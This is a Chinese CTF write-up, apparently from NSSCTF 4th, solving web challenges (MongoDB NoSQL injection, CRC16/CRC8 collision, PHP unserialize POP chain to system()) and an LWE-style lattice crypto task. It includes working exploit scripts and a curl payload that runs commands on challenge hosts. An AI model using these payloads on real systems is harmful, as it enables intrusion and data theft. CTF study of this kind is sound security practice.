哦豁,这场化身AI大师,周末上大分

Web

ez_signin

from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re

app = Flask(__name__)

client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']

def sanitize(input_str: str) -> str:
return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)

@app.route('/')
def index():
return render_template('index.html', books=None)

@app.route('/search', methods=['GET', 'POST'])
def search():
query = {"$and": []}
books = []

if request.method == 'GET':
title = request.args.get('title', '').strip()
author = request.args.get('author', '').strip()

title_clean = sanitize(title)
author_clean = sanitize(author)

if title_clean:
query["$and"].append({"title": {"$eq": title_clean}})

if author_clean:
query["$and"].append({"author": {"$eq": author_clean}})

if query["$and"]:
books = list(books_collection.find(query))

return render_template('index.html', books=books)

elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)

title = data.get("title")
author = data.get("author")

if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})

if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})

if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books
])

return jsonify({"error": "Empty query"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500

return jsonify({"error": "Unsupported Content-Type"}), 400

if __name__ == "__main__":
app.run("0.0.0.0", 8000)

NoSQL 注入 (MongoDB 注入),通过post字典参数,绕过过滤函数

import requests
import json

# 构造目标 URL
URL = "http://node9.anna.nssctf.cn:29421/search"

# --- 攻击载荷 (Payload) ---
# 利用 MongoDB 的 $regex 操作符来匹配所有文档,从而 dump 出全部数据。
payload = {
"title": {
"$regex": ".*"
},
"author": {
"$regex": ".*"
}
}

# --- 请求头 ---
# 必须指定 Content-Type 为 application/json
headers = {
"Content-Type": "application/json"
}

def solve():
"""
发送恶意请求并获取 flag 的主函数
"""
print(f"[*] 准备攻击目标: {URL}")
print(f"[*] 使用的 Payload: {json.dumps(payload)}")

try:
# 发送 POST 请求
response = requests.post(URL, headers=headers, json=payload, timeout=5)

# 检查响应状态码
if response.status_code == 200:
print("\n[+] 请求成功!服务器返回状态码 200 OK。")
try:
# 解析返回的 JSON 数据
books = response.json()
if not books:
print("[-] 查询成功,但未返回任何书籍信息。")
return

print("[*] 查询到以下书籍信息:")
# 格式化输出结果
for i, book in enumerate(books, 1):
print(f"\n--- 第 {i} 本书 ---")
print(f" 书名 (Title): {book.get('title')}")
print(f" 作者 (Author): {book.get('author')}")
print(f" 描述 (Description): {book.get('description')}")

print("\n[*] Flag 可能隐藏在以上信息中,请仔细查找。")

except json.JSONDecodeError:
print("[!] 错误:无法解析服务器返回的 JSON 数据。")
print(f" 原始响应内容: {response.text}")

else:
print(f"[!] 攻击失败!服务器返回状态码: {response.status_code}")
print(f" 响应内容: {response.text}")

except requests.exceptions.RequestException as e:
print(f"[!] 请求过程中发生错误: {e}")
except Exception as e:
print(f"[!] 发生未知错误: {e}")

if __name__ == "__main__":
solve()

EzCRC

<?php
error_reporting(0);
ini_set('display_errors', 0);
highlight_file(__FILE__);


function compute_crc16($data) {
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}

function calculate_crc8($input) {
static $crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
];

$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}

$SECRET_PASS = "Enj0yNSSCTF4th!";
include "flag.php";

if (isset($_POST['pass']) && strlen($SECRET_PASS) == strlen($_POST['pass'])) {
$correct_pass_crc16 = compute_crc16($SECRET_PASS);
$correct_pass_crc8 = calculate_crc8($SECRET_PASS);

$user_input = $_POST['pass'];
$user_pass_crc16 = compute_crc16($user_input);
$user_pass_crc8 = calculate_crc8($user_input);

if ($SECRET_PASS === $user_input) {
die("这样不行");
}

if ($correct_pass_crc16 !== $user_pass_crc16) {
die("这样也不行");
}

if ($correct_pass_crc8 !== $user_pass_crc8) {
die("这样还是不行吧");
}

$granted_access = true;

if ($granted_access) {
echo "都到这份上了,flag就给你了: $FLAG";
} else {
echo "不不不";
}
} else {
echo "再试试";
}

?>

要构造长度15的字符串,且crc8crc16要与题目字符串的crc值一样,直接敲打GPT生成一份三字节翻转脚本

CRC(包括 CRC16/CRC8)对二进制翻转是线性的。选择若干字节位(3个字节24个二进制变量),把“目标CRC差值”表示成这些位的线性组合,相当于是求解GF(2)线性方程组。
通过高效的GF(2)线性代数(构造基并表示向量),求出一组位翻转,使得修改后的字符串与secret的CRC16+CRC8完全相同。

#!/usr/bin/env python3
"""
crc_collision.py
Find a different message (same length) that is NOT equal to the secret but has identical CRC16 and CRC8.
Method:
- Choose k byte positions to allow flipping (default k=3 -> 24 binary variables).
- For a given base message, precompute the 24-bit effect ("columns") of flipping each single bit
in those positions. The combined CRC (CRC16<<8 | CRC8) is a 24-bit linear function over GF(2).
- Build a GF(2) basis from the columns, then try to represent the difference between base_crc24 and
target_crc24 as an XOR of columns. If representable, we get which bits to flip -> candidate message.
- Repeat for random base messages or different position sets until a valid candidate is found.
"""

import argparse
import random
import sys
from typing import List, Optional

# ---- CRC implementations matching the PHP code ----

def compute_crc16(data: bytes) -> int:
checksum = 0xFFFF
for b in data:
checksum ^= b
for _ in range(8):
if checksum & 1:
checksum = ((checksum >> 1) ^ 0xA001)
else:
checksum >>= 1
return checksum & 0xFFFF

crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15, 0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65, 0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5, 0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85, 0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2, 0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2, 0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32, 0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42, 0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C, 0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC, 0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C, 0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C, 0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B, 0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B, 0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB, 0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB, 0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]

def compute_crc8(data: bytes) -> int:
crc = 0
for b in data:
crc = crc8_table[(crc ^ b) & 0xff]
return crc & 0xff

def crc24(data: bytes) -> int:
return (compute_crc16(data) << 8) | compute_crc8(data)

# ---- GF(2) basis solver to express target diff as XOR of columns ----

def build_columns_for_positions(base: bytes, positions: List[int]) -> List[int]:
"""
For each (position, bit) produce a 24-bit column representing effect on crc24 when toggling that bit.
The order is for each position in positions (in order) and for bit 0..7 within each position.
"""
columns = []
for pos in positions:
for bit in range(8):
b = bytearray(base)
b[pos] ^= (1 << bit)
eff = crc24(bytes(b)) ^ crc24(base)
columns.append(eff)
return columns

def try_solve_with_columns(columns: List[int], target_diff: int) -> Optional[int]:
"""
Given columns (list of 24-bit ints) and target_diff (24-bit int),
try to represent target_diff as XOR of some columns.
If possible, return an integer mask where bit j means use columns[j].
Otherwise return None.
"""
# basis indexed by bit position 0..23 (we'll store highest-bit-first reduction)
BASIS_BITS = 24
basis = [0] * BASIS_BITS # basis vector value for that leading bit
# representation mask (which columns XOR to produce basis vector)
basis_repr = [0] * BASIS_BITS
for j, col in enumerate(columns):
v = col
repr_mask = 1 << j
# reduce using current basis
for bit in reversed(range(BASIS_BITS)):
if (v >> bit) & 1:
if basis[bit] != 0:
v ^= basis[bit]
repr_mask ^= basis_repr[bit]
else:
basis[bit] = v
basis_repr[bit] = repr_mask
break
# now try to reduce target_diff
v = target_diff
repr = 0
for bit in reversed(range(BASIS_BITS)):
if (v >> bit) & 1:
if basis[bit] == 0:
return None # cannot represent
v ^= basis[bit]
repr ^= basis_repr[bit]
if v == 0:
return repr
return None

def build_candidate_from_mask(base: bytes, positions: List[int], mask: int) -> bytes:
L = len(base)
delta = bytearray(L)
for j in range(len(positions) * 8):
if (mask >> j) & 1:
pos_idx = j // 8
bit_idx = j % 8
pos = positions[pos_idx]
delta[pos] ^= (1 << bit_idx)
candidate = bytearray(base)
for i in range(L):
candidate[i] ^= delta[i]
return bytes(candidate)

# --- High-level search routine ---

def find_collision(secret: bytes, k: int = 3, tries_per_positions_set: int = 1000, seed: Optional[int] = None, position_sets: Optional[List[List[int]]] = None):
"""
secret: bytes (the true password)
k: number of bytes that may be toggled (choose positions set size k)
tries_per_positions_set: for each chosen set of positions, try this many random base messages
position_sets: optional explicit list of position lists to try; otherwise we try a few heuristics + random sets
"""
random.seed(seed)
L = len(secret)
target_crc24 = crc24(secret)

# produce default position sets if not provided
if position_sets is None:
pos_sets = []
# try last k bytes, first k bytes, a middle mix
if L >= k:
pos_sets.append(list(range(L-k, L)))
pos_sets.append(list(range(0, k)))
pos_sets.append(sorted(random.sample(range(L), k)))
# add several random sets
for _ in range(10):
pos_sets.append(sorted(random.sample(range(L), k)))
else:
pos_sets = position_sets

for positions in pos_sets:
# prepare columns template for a base; columns depend on base, so must recompute per base
for attempt in range(tries_per_positions_set):
# pick a random base that is *not* the secret (we can also use the secret itself but that often gives trivial zero-diff)
base = bytearray(secret)
for i in range(L):
base[i] = random.randrange(256)
base = bytes(base)
columns = build_columns_for_positions(base, positions)
d = crc24(base) ^ target_crc24
mask = try_solve_with_columns(columns, d)
if mask is not None:
candidate = build_candidate_from_mask(base, positions, mask)
if candidate != secret and crc24(candidate) == target_crc24:
return {
"secret": secret,
"candidate": candidate,
"positions": positions,
"base": base,
"mask": mask
}
return None

# Helper to pretty-print bytes

def as_hex(b: bytes) -> str:
return b.hex()

def is_printable(b: bytes) -> bool:
try:
s = b.decode('utf-8')
except Exception:
return False
return all(0x20 <= c < 0x7f for c in b)

def main():
p = argparse.ArgumentParser(
description="Find a different message with same CRC16+CRC8 as secret (same length).")
p.add_argument("--secret", required=True,
help="the secret string (exact bytes).")
p.add_argument("--k", type=int, default=3,
help="number of byte positions to allow flipping (default 3).")
p.add_argument("--tries", type=int, default=2000,
help="random bases to try per positions set.")
p.add_argument("--seed", type=lambda s: int(s, 0), default=0x414141,
help="random seed (accepts decimal or hex, e.g. 0x414141).")
args = p.parse_args()

secret = args.secret.encode('latin1') # allow raw bytes via latin1
print("Secret:", secret)
print("Secret hex:", as_hex(secret))
print("Secret CRC16=0x%04x, CRC8=0x%02x, combined=0x%06x" %
(compute_crc16(secret), compute_crc8(secret), crc24(secret)))
result = find_collision(
secret, k=args.k, tries_per_positions_set=args.tries, seed=args.seed)
if result is None:
print("No collision found. Try increasing k or the number of tries, or provide specific position sets.")
return 2
cand = result["candidate"]
print("Found candidate:")
print(" Candidate bytes repr:", cand)
print(" Candidate hex:", as_hex(cand))
print(" Candidate CRC16=0x%04x, CRC8=0x%02x" %
(compute_crc16(cand), compute_crc8(cand)))
print(" Positions used:", result["positions"])
print(" Base used:", as_hex(result["base"]))
print(" Printable?:", is_printable(cand))
# If printable is desired but candidate not printable, user can try different settings or try small brute force on chosen positions.
return 0

if __name__ == "__main__":
sys.exit(main())

exp.py --secret "Enj0yNSSCTF4th!" --k 3 --tries 2000 --seed 0x414141

import requests

candidate = bytes.fromhex("2619576310042a5bbf7c24dfa47780")
r = requests.post("http://node9.anna.nssctf.cn:29070/",
data={"pass": candidate})
print(r.text)

[mpga]filesystem

题目有源码,可以直接下载

<?php

class ApplicationContext{
public $contextName;

public function __construct(){
$this->contextName = 'ApplicationContext';
}

public function __destruct(){
$this->contextName = strtolower($this->contextName);
}
}

class ContentProcessor{
private $processedContent;
public $callbackFunction;

public function __construct(){

$this->processedContent = new FunctionInvoker();
}

public function __get($key){

if (property_exists($this, $key)) {
if (is_object($this->$key) && is_string($this->callbackFunction)) {

$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}

class FileManager{
public $targetFile;
public $responseData = 'default_response';

public function __construct($targetFile = null){
$this->targetFile = $targetFile;
}

public function filterPath(){

if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
die('文件路径不符合规范');
}
}

public function performWriteOperation($var){

$targetObject = $this->targetFile;
$value = $targetObject->$var;
}

public function getFileHash(){
$this->filterPath();

if (is_string($this->targetFile)) {
if (file_exists($this->targetFile)) {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希: " . htmlspecialchars($md5_hash);
} else {
die("文件未找到");
}
} else if (is_object($this->targetFile)) {
try {

$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
} catch (TypeError $e) {


return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
}
} else {
die("文件未找到");
}
}

public function __toString(){
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}

class FunctionInvoker{
public $functionName;
public $functionArguments;
public function __call($name, $arg){

if (function_exists($name)) {
$name($arg[0]);
}
}
}

$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = '';
$upload_dir = "upload/";

if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

if ($action === 'upload_file') {
if(isset($_POST['submit'])){
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {
$allowed_extensions = ['txt', 'png', 'gif', 'jpg'];
$file_info = pathinfo($_FILES['upload_file']['name']);
$file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');

if (!in_array($file_extension, $allowed_extensions)) {
$output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";
} else {

$unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;
$upload_path = $upload_dir . $unique_filename;
$temp_file = $_FILES['upload_file']['tmp_name'];

if (move_uploaded_file($temp_file, $upload_path)) {
$output = "<p class='text-green-600'>文件上传成功!</p>";
$output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";
} else {
$output = "<p class='text-red-600'>上传失败!</p>";
}
}
} else {
$output = "<p class='text-red-600'>请选择一个文件上传。</p>";
}
}
}

if ($action === 'home' && isset($_POST['submit_md5'])) {
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';

if (!empty($filename_param)) {
$file_object = @unserialize($filename_param);
if ($file_object === false || !($file_object instanceof FileManager)) {
$file_object = new FileManager($filename_param);
}
$output = $file_object->getFileHash();
} else {
$output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
}
}

?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件管理系统</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
}
</style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen px-4 py-8">
<div class="bg-white p-6 md:p-8 rounded-lg shadow-md w-full max-w-4xl mx-auto">
<h1 class="text-3xl font-bold mb-6 text-gray-800 text-center">文件管理系统</h1>

<div class="flex justify-center mb-6 space-x-4">
<a href="?action=home" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'home' ? 'bg-indigo-600 text-white' : 'bg-indigo-100 text-indigo-800 hover:bg-indigo-200'; ?>">主页</a>
<a href="?action=upload_file" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'upload_file' ? 'bg-blue-600 text-white' : 'bg-blue-100 text-blue-800 hover:bg-blue-200'; ?>">上传文件</a>
</div>

<?php if ($action === 'home'): ?>
<div class="text-center">
<p class="text-lg text-gray-700 mb-4">欢迎使用文件管理系统。</p>
<p class="text-sm text-gray-500 mb-6">
为了确保文件一致性和完整性,请在下载前校验md5值,完成下载后进行对比。
</p>

<h2 class="text-2xl font-bold mb-4 text-gray-800">文件列表</h2>
<div class="max-h-60 overflow-y-auto border border-gray-200 rounded-lg p-2 bg-gray-50">
<?php
$files = array_diff(scandir($upload_dir), array('.', '..'));
if (empty($files)) {
echo "<p class='text-gray-500'>暂无文件。</p>";
} else {
echo "<ul class='text-left space-y-2'>";
foreach ($files as $file) {
$file_path = $upload_dir . $file;
echo "<li class='flex items-center justify-between p-2 bg-white rounded-md shadow-sm'>";
echo "<span class='text-gray-700 break-all mr-2'>" . htmlspecialchars($file) . "</span>";
echo "<div class='flex space-x-2'>";
echo "<a href='" . htmlspecialchars($file_path) . "' download class='bg-blue-500 hover:bg-blue-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>下载</a>";
echo "<form action='?action=home' method='POST' class='inline-block'>";
echo "<input type='hidden' name='file_to_check' value='" . htmlspecialchars($file_path) . "'>";
echo "<button type='submit' name='submit_md5' class='bg-purple-500 hover:bg-purple-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>校验MD5</button>";
echo "</form>";
echo "</div>";
echo "</li>";
}
echo "</ul>";
}
?>
</div>

<?php if (!empty($output)): ?>
<div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
<h3 class="lg font-semibold mb-2 text-gray-800">校验结果:</h3>
<?php echo $output; ?>
</div>
<?php endif; ?>
</div>
<?php elseif ($action === 'upload_file'): ?>
<h2 class="text-2xl font-bold mb-4 text-gray-800 text-center">上传文件</h2>
<form action="?action=upload_file" method="POST" enctype="multipart/form-data" class="space-y-4">
<label for="upload_file" class="block text-gray-700 text-sm font-bold mb-2">选择文件:</label>
<input type="file" name="upload_file" id="upload_file" class="block w-full text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 focus:outline-none">
<button type="submit" name="submit" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-semibold py-2 px-4 rounded-lg transition duration-300 ease-in-out">
上传
</button>
</form>
<?php if (!empty($output)): ?>
<div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
<h3 class="text-lg font-semibold mb-2 text-gray-800">上传结果:</h3>
<?php echo $output; ?>
</div>
<?php endif; ?>
<p class="mt-6 text-center text-sm text-gray-500">
只允许上传 .txt, .png, .gif, .jpg 文件。
</p>
<?php endif; ?>
</div>
</body>
</html>

两个功能:上传和文件MD5校验
漏洞出现在$file_object = @unserialize($filename_param);
POP链构造

  • 链尾

ContentProcessor出现了($_POST['cmd'])我们不难猜测,前面的$this->callbackFunction可以构造system函数

$this->$key就是类FunctionInvoker了,它只有__call方法,前面构造的system函数就能触发

  • 链首

那么谁来触发__get呢?
我们知道反序列化的入口是FileManager->getFileHash()$md5_hash = md5_file($this->targetFile) else if (is_object($this->targetFile))正好我们传入对象时,PHP的md5_file会把对象自动转化为字符串,从而触发__toString

  • 中间

注意到$this->$method($var),观察var的位置,performWriteOperation可以作为method$targetObject = $this->targetFile; $value = $targetObject->$var; $var可以指向private $processedContent;来触发链尾的__get

FileManager::__toString() -> FileManager::performWriteOperation() -> ContentProcessor::__get()

这里出现了两次$this->targetFile;,第一次是用来触发__toString的,第二次才是触发__get
PS:$this指的是当前,是实时变化的

确保submit_md5不为空,进入正确的判断分支,file_to_check为我们反序列化的payload

<?php

// 需要定义题目中所有的类,以确保序列化正常
class ApplicationContext {}
class FunctionInvoker {}

class ContentProcessor {
private $processedContent;
public $callbackFunction;

public function __construct() {
$this->processedContent = new FunctionInvoker();
}
}

class FileManager {
public $targetFile;
public $responseData = 'default_response';
}

// ---- 开始构建POP链 ----

// 1. 链条末端:创建ContentProcessor对象,设置回调函数为system
$cp = new ContentProcessor();
$cp->callbackFunction = 'system';

// 2. 中间环节:创建内部FileManager对象,其targetFile指向$cp
$fm2 = new FileManager();
$fm2->targetFile = $cp;

// 3. 链条起点:创建外部FileManager对象,其targetFile指向$fm2
$fm1 = new FileManager();
$fm1->targetFile = $fm2;

// 4. 序列化最终的对象
$payload = serialize($fm1);
echo "URL编码后的Payload:\n";
echo urlencode($payload);

?>
curl -X POST 'http://node8.anna.nssctf.cn:23190/?action=home' -d "submit_md5=1&method=performWriteOperation&var=processedContent&cmd=cat /flag&file_to_check=O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A0%3A%7B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D"

ez_upload*

简单弄了一下,没啥思路,做密码去了……

Crypto

Guillotine

import random

flag = 'NSSCTF{**************************}'
p, n, m = 257, 36, 50
e = [choice(range(-3,4)) for i in range(m)]
secret = random.randrange(1,2^n)

random.seed(int(1337))
A = [[[random.randrange(p) for i in range(2)] for j in range(n)] for i in range(m)]
B = []

for time in range(m):
b = (sum(A[time][j][(secret >> j) & 1] for j in range(n))+e[time])%p
B.append(b)

print("give you B:",B)

alarm(10)
print("The time for defiance is over. Provide the encryption key, and you shall be granted the mercy of a swift end. Refuse, and your death will be prolonged.")
assert int(input(">")) == secret
print(f"Do you really think I would let you go? {flag}")

e是随机的小误差[-3,3]
A是个三维数组

[
[
[,],
*36
[,]
],
*50
[
[,],
...
[,]
]
]

这里随机数种子固定,因此A是已知的(不知道为什么sage跑不了random,用Python跑完直接套进去即可)

b就是看secret(36位)移位后的奇偶情况决定取最小的数组里面的第零个还是第一个,并求和,最后再加上一个误差e再模p

到这一步就要朝LWE方向思考了,形如B=A·s+e,但目前无法构造这样的等式

有个小技巧

因为sj=0/1有,Ai,j,sj=Ai,j,0(1sj)+Ai,j,1sj因为s_{j}=0/1有,A_{i,j,s_{j}}=A_{i,j,0}·(1-s_{j})+A_{i,j,1}·s_{j}

bi(j=0n1(Ai,j,0+sj(Ai,j,1Ai,j,0))+ei)(modp)b_{i}\equiv \left(\sum_{j=0}^{n-1}(A_{i,j,0}+s_{j}·(A_{i,j,1}-A_{i,j,0}))+e_{i}\right)\pmod{p}

bij=0n1(Ai,j,0)(j=0n1sj(Ai,j,1Ai,j,0)+ei)(modp)b_{i}-\sum_{j=0}^{n-1}(A_{i,j,0})\equiv \left(\sum_{j=0}^{n-1}s_{j}·(A_{i,j,1}-A_{i,j,0})+e_{i}\right)\pmod{p}

令,bibij=0n1(Ai,j,0)(modp)令,b'_{i}\equiv b_{i}-\sum_{j=0}^{n-1}(A_{i,j,0})\pmod{p}

令,Ai,jAi,j,1Ai,j,0(modp)令,A'_{i,j}\equiv A_{i,j,1}-A_{i,j,0}\pmod{p}

有,bi(j=0n1Ai,jsj+ei)(modp)有,b'_i \equiv \left( \sum_{j=0}^{n-1} A'_{i, j} \cdot s_j + e_i \right) \pmod{p}

可看做,biAisj+ei(modp)可看做,b'_{i}\equiv A'_{i}\cdot s_{j}+e_{i} \pmod{p}

有,Aisjbi=ei+Kip有,A'_{i}\cdot s_{j}-b'_{i}=-e_{i}+K_{i}p

构造下面这个(n+m+1)×(n+m+1)维的格的基矩阵L构造下面这个 (n+m+1)×(n+m+1) 维的格的基矩阵 L:

L=(In×n(A)n×mT0n×10m×npIm×m0m×101×n(b)1×mT1)L = \begin{pmatrix} \mathbf{I}_{n \times n} & (\mathbf{A'})_{n \times m}^T & \mathbf{0}_{n \times 1} \\ \mathbf{0}_{m \times n} & p \cdot \mathbf{I}_{m \times m} & \mathbf{0}_{m \times 1} \\ \mathbf{0}_{1 \times n} & -(\mathbf{b'})^T_{1 \times m} & 1 \\ \end{pmatrix}

PS:这里为什么取的是转置矩阵呢?因为矩阵乘法的规定是行乘列PS:这里为什么取的是转置矩阵呢?因为矩阵乘法的规定是行乘列

取一个组合向量c=(s0,...,s35,k0,...,k49,1),计算目标向量v=cL取一个组合向量c=(s_{0},...,s_{35},k_{0},...,k_{49},1),计算目标向量v=c\cdot L
In为单位矩阵,则v的前n个分量为(s0,...,s35)I_{n}为单位矩阵,则v的前n个分量为(s_{0},...,s_{35})
最后一个分量为1,可以通过它来判断规约出来目标向量是否是我们想要的向量最后一个分量为1,可以通过它来判断规约出来目标向量是否是我们想要的向量
